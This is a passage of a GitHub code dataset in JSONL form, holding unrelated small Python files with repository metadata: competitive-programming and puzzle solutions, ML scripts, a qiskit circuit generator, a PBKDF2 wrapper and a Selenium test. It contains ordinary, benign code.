logging.warning(f\"Mention {mention} has non-ascii characters: {' '.join([c for c in mention if ord(c) >= 128])} {[hex(ord(c)) for c in mention if ord(c) >= 128]}\")\n if mention in data_to_ids:\n (eid, qid, src) = data_to_ids[mention]\n if eid != entity_id or qid != wiki_id:\n logging.error(f\"Conflict: {mention} -> {eid} vs. {entity_id}, {qid} vs. {wiki_id}\")\n conflicts += 1\n else:\n logging.warning(f\"Duplicate: {mention} -> {eid}, {qid}\")\n duplicates += 1\n else:\n data_to_ids[mention] = (entity_id, wiki_id, 'class')\n\n mention_cursor = connection.cursor()\n mention_cursor.execute(\"SELECT * FROM entity_mentions\") \n for mention_tuple in mention_cursor.fetchall(): \n total += 1 \n mention_id, mention, entity_type_id, entity_id, source = mention_tuple \n wiki_id = eid_to_qid.get(entity_id, None)\n if not wiki_id:\n no_qid += 1\n continue\n \n mention = clean(mention) \n if not is_ascii(mention):\n logging.warning(f\"Mention {mention} has non-ascii characters: {' '.join([c for c in mention if ord(c) >= 128])} {[hex(ord(c)) for c in mention if ord(c) >= 128]}\")\n if mention in data_to_ids:\n (eid, qid, src) = data_to_ids[mention]\n if eid != entity_id or qid != wiki_id:\n logging.error(f\"Conflict: {mention} -> {eid} vs. {entity_id}, {qid} vs. {wiki_id}\")\n conflicts += 1\n else:\n logging.warning(f\"Duplicate: {mention} -> {qid}\")\n duplicates += 1\n else:\n data_to_ids[mention] = (entity_id, wiki_id, source)\n\n try:\n os.makedirs(config_obj['benchmark']['data_path'], exist_ok=True)\n train_filename = os.path.join(config_obj['benchmark']['data_path'], 'train.csv')\n test_filename = os.path.join(config_obj['benchmark']['data_path'], 'test.csv')\n num_train= 0\n num_test = 0\n with open(test_filename, 'w') as test, open(train_filename, 'w') as train:\n for mention, (eid, qid, src) in data_to_ids.items():\n if src == 'others':\n if not qid:\n continue\n test.write(\"%s\\t%d\\t%s\\n\" % (mention, eid, qid))\n num_test += 1\n else:\n train.write(\"%s\\t%d\\n\" % (mention, eid))\n num_train += 1\n except OSError as exception:\n logging.error(exception)\n exit()\n\n print(f\"1. Entities: {len(eid_to_qid)} entities have qids.\")\n print(f\"2. Mentions: {len(data_to_ids)} collected, {no_external} no external link, {no_qid} no qid, {no_mention} empty, {duplicates} duplicates, {conflicts} conflicts.\") \n print(f\"3. Samples: {num_train} train, {num_test} test.\")\n\nconfig_obj = configparser.ConfigParser()\nconfig_obj.read(\"config.ini\")\n\nlogging.basicConfig(filename='logging.log',level=logging.DEBUG, \\\n format=\"[%(levelname)s:%(filename)s:%(lineno)s - %(funcName)20s() ] %(message)s\", filemode='w')\n\nif __name__ == '__main__':\n try:\n db_path = config_obj[\"db\"][\"db_path\"]\n except KeyError as k:\n logging.error(f'{k} is not a key in your config.ini file.')\n print(f'{k} is not a key in your config.ini file.')\n exit()\n\n if not os.path.isfile(db_path):\n logging.error(f'{db_path} is not a file. Run \"sh setup\" from /tackle-container-advisor folder to generate db files')\n print(f'{db_path} is not a file. Run \"sh setup.sh\" from /tackle-container-advisor folder to generate db files')\n exit()\n else:\n connection = create_db_connection(db_path)\n create_train_test_sets(connection)","repo_name":"kaliaanup/tackle-container-advisor","sub_path":"aca_entity_standardizer/benchmarks.py","file_name":"benchmarks.py","file_ext":"py","file_size_in_byte":6392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"62"} +{"seq_id":"4957418768","text":"from setuptools import setup, find_packages\n\nVERSION = \"0.0.1\"\nDESCRIPTION = \"\"\n\nsetup(\n name=\"zlib_compress\",\n version=VERSION,\n author=\"Jordan Gibbings\",\n author_email=\"jgibbings94@gmail.com\",\n description=DESCRIPTION,\n long_description=open('README.md').read(),\n url=\"https://github.com/jgibo/zlib-compress\",\n packages=find_packages(),\n install_requires=[], # external packages this package depends on (e.g. pypi, or our own python artifact registry (GCP) packages),\n entry_points={\n 'console_scripts': ['zlib-compress=zlib_compress.cli:main']\n }\n)","repo_name":"jgibo/zlib-compress","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"38303056794","text":"from pathlib import Path\n\ngroups = [\n [set(g) for g in line.split(\"\\n\")]\n for line in Path(\"files/day06.txt\").read_text().strip().split(\"\\n\\n\")\n]\n\n\nif __name__ == \"__main__\":\n print(sum([len(set.union(*ps)) for ps in groups]))\n print(sum([len(set.intersection(*ps)) for ps in groups]))\n","repo_name":"smizell/aoc2020","sub_path":"aoc/day06.py","file_name":"day06.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30341587701","text":"# https://atcoder.jp/contests/abc157/tasks/abc157_e\n\n\"\"\"\n## 方針\n- BITを使ったRSQに変換\n- 集合をbitで管理(1 << (26+1) = 134217728)\n\"\"\"\n\n# [SegmentTree with Monoid](https://ikatakos.com/pot/programming_algorithm/data_structure/segment_tree)\nclass SegmentTreeInjectable:\n def __init__(self, n, e_factory, operator):\n \"\"\"\n :param n: 要素数\n :param e_factory: func() -> S 単位元を生成する関数\n :param operator: func(S, S) -> S 親ノードが子ノード同士を合成する関数\n \"\"\"\n n2 = 1 << (n - 1).bit_length()\n self.offset = n2\n self.data = [e_factory() for _ in range(n2 << 1)]\n self.op = operator\n self.e = e_factory\n \n @classmethod\n def from_array(cls, arr, e_factory, operator):\n \"\"\" 既存の配列から生成 \"\"\"\n ins = cls(len(arr), e_factory, operator)\n ins.data[ins.offset:ins.offset + len(arr)] = arr\n for i in range(ins.offset - 1, 0, -1):\n lch = i << 1\n ins.data[i] = operator(ins.data[lch], ins.data[lch + 1])\n return ins\n \n def update(self, i, x):\n \"\"\" Aiをxに上書き更新 \"\"\"\n # 上書きでなくて加算などで更新したい場合は、get_point() で現在値を取得して呼び出し元で行う\n data = self.data\n op = self.op\n i += self.offset\n data[i] = x\n while i > 1:\n i >>= 1\n lch = i << 1\n data[i] = op(data[lch], data[lch + 1])\n \n def get_point(self, p):\n return self.data[p + self.offset]\n \n def get_range(self, l, r):\n \"\"\" [l, r) の値を得る \"\"\"\n data = self.data\n op = self.op\n result_l = self.e()\n result_r = self.e()\n \n l += self.offset\n r += self.offset\n while l < r:\n if l & 1:\n result_l = op(result_l, data[l])\n l += 1\n if r & 1:\n r -= 1\n result_r = op(data[r], result_r)\n l >>= 1\n r >>= 1\n \n return op(result_l, result_r)\n\ndef get_char_val(c):\n return ord(c) - ord('a')\n\n# solve\nN = int(input())\nS = input()\n\nseg = SegmentTreeInjectable(N, lambda: 0, lambda x, y: x|y)\n\n# 文字列を数字に変換しつつBITに保存\nfor i, c in enumerate(S):\n c_val = get_char_val(c)\n seg.update(i, 1 << c_val)\n\n# # クエリ処理\nQ = int(input())\nfor i in range(Q):\n q, x, y = input().split()\n if q == '1':\n idx = int(x) - 1\n y_val = 1 << get_char_val(y)\n\n # セグ木の更新\n seg.update(idx, y_val)\n\n if q == '2':\n l = int(x) - 1\n r = int(y)\n range_val = seg.get_range(l, r)\n # 1であるビットを数える\n ans = 0\n for p in range(30):\n ans += (range_val >> p) & 1\n print(ans)","repo_name":"kentakom1213/kyopro","sub_path":"virtual_contest/asakatsu/asa20221008/5.py","file_name":"5.py","file_ext":"py","file_size_in_byte":2869,"program_lang":"python","lang":"ja","doc_type":"code","stars":4,"dataset":"github-code","pt":"62"} +{"seq_id":"2549529736","text":"\"\"\"Project Euler No.14\n\nLongest Collatz Sequence in Python\n\nThe following iterative sequence is defined for the set of positive integers:\n\nn → n/2 (n is even)\nn → 3n + 1 (n is odd)\n\nUsing the rule above and starting with 13, we generate the following sequence:\n\n13 → 40 → 20 → 10 → 5 → 16 → 8 → 4 → 2 → 1\nIt can be seen that this sequence \n(starting at 13 and finishing at 1) contains 10 terms. \nAlthough it has not been proved yet (Collatz Problem), \nit is thought that all starting numbers finish at 1.\n\nReturn starting number, under one million, produces the longest chain.\"\"\"\n\n\ndef longest_collatz(limit):\n\t\"\"\"Return starting number generating longest chain \n\tof hailstone sequence numbers\"\"\"\n\n\tn =1\n\tlongest = 0\n\tlength = 0\n\n\tfor n in range(1, limit+1):\n\t\tseq = [n]\n\t\twhile n > 1:\n\t\t\tif n % 2 == 0:\n\t\t\t\tn //= 2\n\t\t\t\tseq.append(n)\n\t\t\telse:\n\t\t\t\tn = 3*n + 1\n\t\t\t\tseq.append(n)\n\t\tif len(seq) > length:\n\t\t\tlength = len(seq)\n\t\t\tlongest = seq[0]\n\n\treturn longest\n\n\nif __name__ == '__main__':\n\tprint(longest_collatz(1000000))\n","repo_name":"chaewonkong/algorithm-with-python","sub_path":"project_euler/no_14.py","file_name":"no_14.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"1735683853","text":"# https://www.algoexpert.io/questions/Run-Length%20Encoding\n# Run-Length Encoding\n# Difficulty: Easy\n# Write a function that takes in a non-empty string and returns its run-length encoding.\n# From Wikipedia, \"run-length encoding is a form of lossless data compression in which runs of data are stored as a\n# single data value and count, rather than as the original run.\" For this problem, a run of data is any sequence of\n# consecutive, identical characters. So the run \"AAA\" would be run-length-encoded as \"3A\".\n# To make things more complicated, however, the input string can contain all sorts of special characters, including\n# numbers. And since encoded data must be decodable, this means that we can't naively run-length-encode long runs. For\n# example, the run \"AAAAAAAAAAAA\" (12 As), can't naively be encoded as \"12A\", since this string can be decoded as either\n# \"AAAAAAAAAAAA\" or \"1AA\". Thus long runs (run of 10 or more characters) should be encoded in a split fashion; the\n# aforementioned run should be encoded as \"9A3A\".\n\n# Sample Input:\n# string = \"AAAAAAAAAAAAABBCCCCDD\"\n# Sample Output:\n# \"9A4A2B4C2D\"\n\n\n# Time: O(n)\n# Space: O(n): n is the length of the input string\ndef runLineEncoding(string):\n encodedStringCharacters = [] # list for better time complexity, O(n) (vs time complexity of string is O(n^2))\n currentRunLength = 1 # index starts 1, so we can compare current letter and previous letter\n\n for i in range(1, len(string)):\n currentCharacter = string[i]\n previousCharacter = string[i - 1]\n # when current character != previous character or when current run length is 9 (reach the limit)\n if currentCharacter != previousCharacter or currentRunLength == 9:\n # convert current run length to a string and added the (return) list\n encodedStringCharacters.append(str(currentRunLength))\n encodedStringCharacters.append(previousCharacter) # add the previous character to the list\n currentRunLength = 0 # reset current run length count\n\n currentRunLength += 1 # add one to the current run length if current character == previous character\n\n encodedStringCharacters.append(str(currentRunLength))\n encodedStringCharacters.append(string[len(string) - 1]) # last item in the given string\n\n return \"\".join(encodedStringCharacters)\n\n\n# runLineEncoding(string)","repo_name":"henrylin2008/Coding_Problems","sub_path":"Strings/run-length_encoding.py","file_name":"run-length_encoding.py","file_ext":"py","file_size_in_byte":2384,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"71929707717","text":"from tmlib import *\nimport cv2\nimport numpy as np\nimport argparse\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--type', help='tflite or keras', choices=['tflite', 'keras'], required=True)\n parser.add_argument('--model', help='keras_model.h5 or model_unquant.tflite', required=True)\n parser.add_argument('--labels', help='labels.txt', required=True)\n args = parser.parse_args()\n\n tm = TeachableMachineTf() if args.type == 'tflite' else TeachableMachineKeras()\n tm.load(args.model, args.labels)\n\n cap = cv2.VideoCapture(0)\n while True:\n _, img = cap.read()\n res, name = tm.predict(img)\n\n print(\"{}: {:.2f}%\".format(name,np.max(res)*100))\n cv2.putText(img, \"{}: {:.2f}%\".format(name,np.max(res)*100), (50,50), cv2.FONT_HERSHEY_SIMPLEX, 1, (50,50,50), 4)\n cv2.imshow(\"Teachable Machine Viewer\", img)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n cap.release()\n break\n","repo_name":"leeyunjai/teachablemachine-python","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"62"} +{"seq_id":"11759038036","text":"import numpy as np\nfrom functions import *\n\nLR = 0.2\n\n\ndef init_weights(size=(100, 84)):\n return np.random.random(size=size)\n\n\ndef update_weights(pattern, w, neigh_size):\n assert neigh_size % 2 == 0, 'the size of the neighborhood should be an even number'\n min_dist = float(\"inf\")\n idx = -1\n for i in range(w.shape(0)):\n dist = euclidean_distance(pattern, w[i])\n if dist < min_dist:\n min_dist = dist\n idx = i\n neighbors_idxs = get_neighbors_idxs(idx, neigh_size, w.shape[0])\n\n\ndef neighbourhood_kernel(t, winner, loser, sigma_0, tau):\n sigma = sigma_0 * np.exp(-t ** 2 / tau)\n h = np.exp(-(np.power(euclidean_distance(winner, loser), 2)) / (2 * np.power(sigma, 2)))\n return h\n\n\ndef learning_rate_decay(t, lr_0, tau):\n return lr_0 * np.exp(-t / tau)\n\n\ndef get_neighbors_idxs(winner_idx, neigh_size, num_nodes):\n idxs = []\n for i in range(num_nodes):\n if abs(i - winner_idx) <= neigh_size / 2 or \\\n num_nodes - i + winner_idx <= neigh_size / 2 or \\\n num_nodes + 1 - winner_idx <= neigh_size / 2:\n idxs.append(i)\n\n\ndef euclidean_distance(a, b):\n return np.linalg.norm(a - b)\n\n\ndef main():\n ANIMALS = False\n SALESMAN = True\n PARTY = False\n\n if ANIMALS:\n data = np.genfromtxt('data/animals.dat', delimiter=',')\n names = np.loadtxt('data/animalnames.txt', dtype=str)\n for i in range(len(names)):\n names[i] = names[i].replace(\"'\", '')\n\n w = init_weights(size=(100, 84))\n\n if SALESMAN:\n data = get_city_matrix()\n\n w = init_weights(size=(10, 2))\n\n if PARTY:\n data = np.genfromtxt('data/votes.dat', delimiter=',')\n sex = np.genfromtxt('data/mpsex.dat', comments=\"%\")\n party = np.genfromtxt('data/mpparty.dat', comments=\"%\")\n districts = np.genfromtxt('data/mpdistrict.dat', comments=\"%\")\n names = np.loadtxt('data/mpnames.txt', dtype=str, delimiter='\\n')\n\n\n for i in range(len(names)):\n names[i] = names[i].replace(\"'\", '')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"enniorampello/ANN","sub_path":"Lab2/4.1/main_simo.py","file_name":"main_simo.py","file_ext":"py","file_size_in_byte":2101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73344488197","text":"def main():\n seconds = float(input(\"Seconds: \"))\n hours = seconds / 3600\n minutes = (hours - int(hours)) * 30 / 0.5\n seconds = (minutes - int(minutes)) * 30 / 0.5\n\n hours = str(int(round(hours, 6)))\n minutes = str(int(round(minutes, 6)))\n seconds = str(int(round(seconds, 6)))\n\n result = \":\".join(n if len(n) > 1 else f\"0{n}\" for n in (hours, minutes, seconds))\n print(result)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"shoriwe-upb/TallerEjercicios","sub_path":"Exercises/seconds-to-time.py","file_name":"seconds-to-time.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"18848196791","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jul 29 12:20:16 2020\r\n\r\n@author: RJ PC\r\n\"\"\"\r\n\r\nimport pandas as pd\r\ndf = pd.read_csv(r\"X:\\ML\\algos\\Linear_regression\\Multiple-Linear-Regression-master\\50_Startups.csv\")\r\n\r\ndf.head()\r\n\r\nx = df.iloc[:,:-1]\r\ny = df.iloc[:,4]\r\n\r\nstates = pd.get_dummies(x['State'], drop_first=True)\r\n\r\nx = x.drop('State', axis=1)\r\n\r\nx = pd.concat([x,states], axis=1)\r\n\r\nfrom sklearn.model_selection import train_test_split\r\nx_train,x_test,y_train,y_test = train_test_split(x,y, test_size=0.10, random_state=0)\r\n\r\nfrom sklearn.linear_model import LinearRegression\r\nregressor= LinearRegression().fit(x_train,y_train)\r\n\r\ny_pred = regressor.predict(x_test)\r\n\r\n#from sklearn.metrics import confusion_matrix\r\n#cm=confusion_matrix(y_pred,y_test)\r\n\r\nfrom sklearn.metrics import r2_score\r\nscore = r2_score(y_test,y_pred)*100\r\n","repo_name":"rahul-learning0727/ML_Algorithms","sub_path":"linear_regression.py","file_name":"linear_regression.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"23457619300","text":"from .convnet_drawer import *\nimport matplotlib.pyplot as plt\n\n\ndef save_model_to_file(model, filename, dpi=300):\n model.build()\n fig1 = plt.figure(figsize=(8, 6))\n ax1 = fig1.add_subplot(111, aspect='equal')\n ax1.axis('off')\n plt.xlim(model.x, model.x + model.width)\n plt.ylim(model.y + model.height, model.y)\n\n for feature_map in model.feature_maps + model.layers:\n\n if isinstance(feature_map, FeatureMap1D) and feature_map.c == 1568:\n # Trim the fully connected layer\n for object in feature_map.objects:\n if isinstance(object, Line):\n object.y1 = object.y1 / 2\n object.y2 = object.y2 / 2\n elif isinstance(object, Text):\n object.y = object.y / 2\n\n\n if isinstance(feature_map, Flatten):\n print(\"Stop!\")\n for obj in feature_map.objects:\n if isinstance(obj, Text):\n obj.y = obj.y/2\n\n\n for obj in feature_map.objects:\n if isinstance(obj, Line):\n if obj.dasharray == 1:\n linestyle = \":\"\n elif obj.dasharray == 2:\n linestyle = \"--\"\n else:\n linestyle = \"-\"\n plt.plot([obj.x1, obj.x2], [obj.y1, obj.y2], color=[c / 255 for c in obj.color], lw=obj.width,\n linestyle=linestyle)\n elif isinstance(obj, Text):\n ax1.text(obj.x, obj.y, obj.body, horizontalalignment=\"center\", verticalalignment=\"bottom\",\n size=2 * obj.size / 3, color=[c / 255 for c in obj.color])\n\n plt.savefig(filename, dpi=dpi)\n","repo_name":"marbleton/FPGA_MNIST","sub_path":"net/lib/convnet_drawer/matplotlib_util.py","file_name":"matplotlib_util.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"62"} +{"seq_id":"23468909393","text":"state = {\n 'maharashtara': ['mumbai', 'pune', 'nasik'],\n 'karnataka': ['bangalore', 'mysore'],\n 'tamilnad': ['chennai', 'madurai']\n}\n\nstatenumber ={}\n\nprint(state)\n\nstate['maharashtara'].append('nagpur')\n\nprint(\"After adding: \", state)\n\nfor i in state.keys():\n statenumber[i] = len(state[i])\n\nprint(\"Number: \", statenumber)\n\nstate['tamilnad'].remove('madurai')\n\nprint(\"After removing\", state)\n\n\n","repo_name":"rohinrohin/python-lecture","sub_path":"Day 2/Assignment/Data Structures/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11236728717","text":"import codecs\n\nfrom enum import Enum\n\nfrom . import _crypto\n\n\nclass PBKDF2_HMAC(Enum):\n sha1 = _crypto.pbkdf2_sha1\n sha256 = _crypto.pbkdf2_sha256\n sha384 = _crypto.pbkdf2_sha384\n sha512 = _crypto.pbkdf2_sha512\n\n\ndef pbkdf2_bin(\n data: bytes,\n salt: bytes,\n iterations: int = 10000,\n keylen: int = 32,\n hash_algorithm: PBKDF2_HMAC = PBKDF2_HMAC.sha256\n) -> bytes:\n return hash_algorithm.value(\n data,\n salt,\n iterations,\n keylen\n )\n\n\ndef pbkdf2_hex(\n data: str,\n salt: str,\n iterations: int = 10000,\n keylen: int = 32,\n hash_algorithm: PBKDF2_HMAC = PBKDF2_HMAC.sha256\n) -> str:\n return codecs.encode(\n pbkdf2_bin(\n data=data.encode(\"utf8\"),\n salt=salt.encode(\"utf8\"),\n iterations=iterations,\n keylen=keylen,\n hash_algorithm=hash_algorithm\n ),\n \"hex_codec\"\n ).decode(\"utf8\")\n","repo_name":"emmett-framework/crypto","sub_path":"emmett_crypto/kdf.py","file_name":"kdf.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"73196148356","text":"import qiskit\nimport sys\nimport os\nimport numpy as np\n\nk = int(sys.argv[1])\n#k=2\n\n\ndef state_preparation(circuit: qiskit.QuantumCircuit, qubits: qiskit.QuantumRegister,cbits):\n # Prepare 3-bit code accross 3 quits ( I.e |111> + |000> )\n assert len(qubits)==5\n circuit.h(qubits[0])\n circuit.cnot(qubits[0],qubits[1])\n circuit.cnot(qubits[1],qubits[2])\n # Now we do the error test\n circuit.cnot(qubits[0],qubits[3])\n circuit.cnot(qubits[1],qubits[3])\n circuit.cnot(qubits[1],qubits[4])\n circuit.cnot(qubits[1],qubits[4])\n circuit.measure(qubits[3],cbits[0])\n circuit.measure(qubits[4],cbits[1])\n\nif __name__ == \"__main__\":\n print(\"Generating Circuit...\")\n qubits = qiskit.QuantumRegister(5*k)\n cbits = qiskit.ClassicalRegister(2*k)\n circuit = qiskit.QuantumCircuit(qubits,cbits)\n for i in range(0,len(qubits),5):\n cbit_index = i%4\n state_preparation(circuit,qubits[i:i+5],cbits[cbit_index*2:(cbit_index*2)+2])\n\n\n#simulator = qiskit.Aer.get_backend('aer_simulator')\n#circ = qiskit.compiler.transpile(circuit, simulator)\n\nif not os.path.isdir(\"qasm\"):\n os.mkdir(\"qasm\")\nqasm_file = open(\"qasm/qec_5qubit_x_\" + str(k*5) + \".qasm\",\"w\")\nqasm_file.write(circuit.qasm())\nqasm_file.close()","repo_name":"pnnl/nwqbench","sub_path":"NWQ_Bench/qec_5qubit_x/qec_5qubit_x.py","file_name":"qec_5qubit_x.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"25356038380","text":"import numpy\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\n\n\nclass LSTM_Net(nn.Module):\n\tdef __init__(self, in_dim, hidden_dim, out_dim):\n\t\tsuper(LSTM_Net, self).__init__()\n\t\tself.lstm = nn.LSTM(in_dim, hidden_dim)\n\t\tself.l = nn.Linear(hidden_dim, out_dim)\n\tdef forward(self, x):\n\t\tlstm_out, _ = self.lstm(x)\n\t\t## only return the prediction of the last \n\t\treturn self.l(lstm_out.view(x.size()[0], -1))[0:-1]\ndef load_vocab():\n## return a hash table for word look up\n\tvoc = open(\"31210-s19-hw1/bobsue.voc.txt\")\n\ttable = {}\n\twordlist=[]\n\tcount = 0\n\tfor line in voc:\n\t\tword = line.strip(\"\\n\")\n\t\twordlist.append(word)\n\t\ttable[word] = count\n\t\tcount+=1\n\treturn wordlist, table\n\ndef one_hot(word, table):\n\tvec = torch.zeros(len(table))\n\tvec[table[word]] = 1\n\treturn vec\n\ndef sentence_input(sentence, table):\n\tls = [one_hot(w, table) for w in sentence]\n\tx = torch.cat(ls, dim = 0)\n\treturn x.view(len(sentence), 1, -1)\n\ndef get_target(sentence, table):\n\tls = [table[w] for w in sentence[1:]]\n\treturn torch.LongTensor(ls)\n\n\ndef count_test(file, table):\n\tdata = open(\"31210-s19-hw1/\" + file)\n\tcount = 0\n\tfor sentence in data:\n\t\twords = sentence.strip(\"\\n\").split(\" \")\n\t\tfor word in words:\n\t\t\tif word not in table:\n\t\t\t\tcount += 1\n\treturn count\n\ndef load_sentence(file):\n\tdata = open(\"31210-s19-hw1/\" + file)\n\tres = []\n\tfor sentence in data:\n\t\twords = sentence.strip(\"\\n\").split(\" \")\n\t\tres.append(words)\n\treturn res\n\ndef test(data, t):\n\tcount = 0\n\tcorrect = 0\n\tfor index, s in enumerate(data):\n\t\tx = sentence_input(s, t)\n\t\ttarget = get_target(s, t)\n\t\tcount += len(target)\n\t\twith torch.no_grad():\n\t\t\ty = net(x)\n\t\t\tresult = torch.argmax(y, dim = 1)\n\t\t\t\n\t\t\tif index %500 == 10:\n\t\t\t\tprint(\"expected:\", \" \".join([wl[word] for word in target]))\n\t\t\t\tprint(\"get: \", \" \".join([wl[word] for word in result]))\n\n\t\t\tfor i in range(len(result)):\n\t\t\t\tif result[i] == target[i]:\n\t\t\t\t\tcorrect += 1\n\treturn correct/count\n\ndef dev_test(best, dev_data, test_data, t):\n\tdev_result = test(dev_data, t)\n\ttest_result = test(test_data, t)\n\tif dev_result > best[0]:\n\t\tprint(\"dev result\", dev_result)\n\t\tprint(\"test result\", test_result)\n\t\tbest[0] = dev_result\n\t\tbest[1] = test_result\n\treturn\n\ndef error_count(test_data, net, wl):\n\terror_table = {}\n\t## count the ocuring word pair (golden standard, predicted result)\n\tfor s in test_data:\n\t\tx = sentence_input(s, t)\n\t\ttarget = get_target(s, t)\n\t\twith torch.no_grad():\n\t\t\ty = net(x)\n\t\t\tresult = torch.argmax(y, dim = 1)\n\t\t\tfor i in range(len(result)):\n\t\t\t\tif result[i]!=target[i]:\n\t\t\t\t\tpair = (wl[target[i]], wl[result[i]])\n\t\t\t\t\tif pair in error_table:\n\t\t\t\t\t\terror_table[pair] +=1\n\t\t\t\t\telse:\n\t\t\t\t\t\terror_table[pair]= 1\n\tls = []\n\tfor pair in error_table:\n\t\ttriple = (error_table[pair], pair[0], pair[1])\n\t\tls.append(triple)\n\tprint(ls[0:10])\n\tnew_ls=sorted(ls, reverse = True)\n\tprint(new_ls[0:10])\n\tfor i in range(35):\n\t\ttriple = new_ls[i]\n\t\tprint(\"occured\", triple[0], \"times:\", triple[1], triple[2])\n\treturn\n\n\n\nnet = torch.load(\"models/best_log_loss\", map_location = 'cpu')\n\n\nwl, t = load_vocab()\nvocab_size = len(wl)\n## Feed a sequence of one-hot vectors to the RNN network\n## in_dim is the vocab size since we feed one-hot vector\n## hidden_dim is 200\n## out_dim is the vocab size\n#optimizer = optim.SGD(net.parameters(), lr=0.01)\ntrain_data= load_sentence(\"bobsue.lm.train.txt\")\ndev_data= load_sentence(\"bobsue.lm.dev.txt\")\ntest_data= load_sentence(\"bobsue.lm.test.txt\")\nerror_count(test_data, net, wl)\n#best = [0,0]\n#dev_test(best, dev_data, test_data, t)","repo_name":"AnnikaZhang/lstm_lm","sub_path":"analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":3518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30872025942","text":"import time\n\nimport numpy as np\nimport torch\n\n\ndef train_model(\n model,\n criterion,\n optimizer,\n train_loader,\n num_epochs,\n metric,\n device,\n print_step\n):\n \"\"\"\n Training the model\n :type model: torch.nn.Module\n :type criterion: torch.nn\n :type optimizer: torch.optim.Optimizer\n :type train_loader: torch.utils.data.DataLoader\n :type num_epochs: int\n :param metric: method\n :type device: torch.device\n :type print_step: int\n \"\"\"\n stats = {}\n loss_values = []\n metric_values = []\n batches_benchmarks = []\n loss = 0\n for epoch in range(num_epochs):\n prediction, target = 0, 0\n working_time = 0\n for local_batch, local_targets in train_loader:\n stopwatch = time.time()\n data = local_batch \\\n .to(device) \\\n .type(torch.DoubleTensor)\n target = local_targets \\\n .to(device) \\\n .type(torch.DoubleTensor)\n prediction = model(data)\n loss = criterion(prediction, target)\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n working_time = time.time() - stopwatch\n if epoch % print_step == 0:\n print(f'Epoch {epoch}')\n print(f'{criterion.__class__.__name__}: {loss.item()}')\n print('Working out: %.5f micro seconds' % working_time)\n loss_values.append(loss.item())\n prediction = prediction \\\n .cpu() \\\n .detach() \\\n .numpy() \\\n .round()\n target = target \\\n .cpu() \\\n .detach() \\\n .numpy()\n metric_values.append(metric(target, prediction))\n batches_benchmarks.append(working_time)\n stats['loss_values'] = loss_values\n stats['metric_values'] = metric_values\n stats['optimizer'] = optimizer.__class__.__name__\n stats['metric'] = metric.__class__.__name__\n stats['num_epochs'] = int(num_epochs / print_step)\n stats['device'] = device\n stats['print_step'] = print_step\n stats['working_time'] = batches_benchmarks\n return stats\n\n\ndef test_model(\n model,\n loader,\n metric,\n device,\n isValidation=False\n):\n \"\"\"\n Training the model\n :type model: torch.nn.Module\n :type loader: torch.utils.data.DataLoader\n :param metric: method\n :type device: torch.device\n :type isValidation: bool\n \"\"\"\n if isValidation:\n print('Validating the model!')\n else:\n print('Testing the model!')\n predictions = []\n targets = []\n for local_data, local_targets in loader:\n data = local_data \\\n .to(device) \\\n .type(torch.DoubleTensor)\n target = local_targets \\\n .to(device) \\\n .type(torch.DoubleTensor)\n prediction = model(data)\n predictions.extend(prediction)\n targets.extend(target)\n predictions = np.array([\n prediction\n .cpu()\n .detach()\n .numpy()\n .round()\n for prediction in predictions\n ])\n targets = np.array([\n target\n .cpu()\n .detach()\n .numpy()\n for target in targets\n ])\n return predictions, metric(targets, predictions)\n","repo_name":"smaystr/rails_reactor","sub_path":"pytorch_gpu_lin_log_regr/02/model_validation.py","file_name":"model_validation.py","file_ext":"py","file_size_in_byte":3397,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"25442955062","text":"import unittest\nfrom selenium import webdriver\nfrom time import sleep\nfrom ddt import ddt, data, unpack\n\nfrom PageObject.search_page import SearchPage\n\n@ddt\nclass TestCase(unittest.TestCase):\n #前置条件\n #@classmethod\n #def setUpClass(cls) -> None: cls.driver = webdriver.Chrome()\n def setUp(self) -> None:\n driver = webdriver.Chrome()#executable_path=可以自定义路径\n self.sp = SearchPage(driver)\n #后置条件\n\n def tearDown(self) -> None:\n self.sp.quit_browser()\n\n @data([\"http://www.baidu.com\", \"test\"], [\"http://www.baidu.com\", \"case\"])\n @unpack\n def test_1(self, url, input_text):\n self.sp.check(url, input_text)\n sleep(2)\n self.assertEqual(self.sp.get_title(), \"百度一下,你就知道\", msg=\"对不起\")\n\nif __name__ == 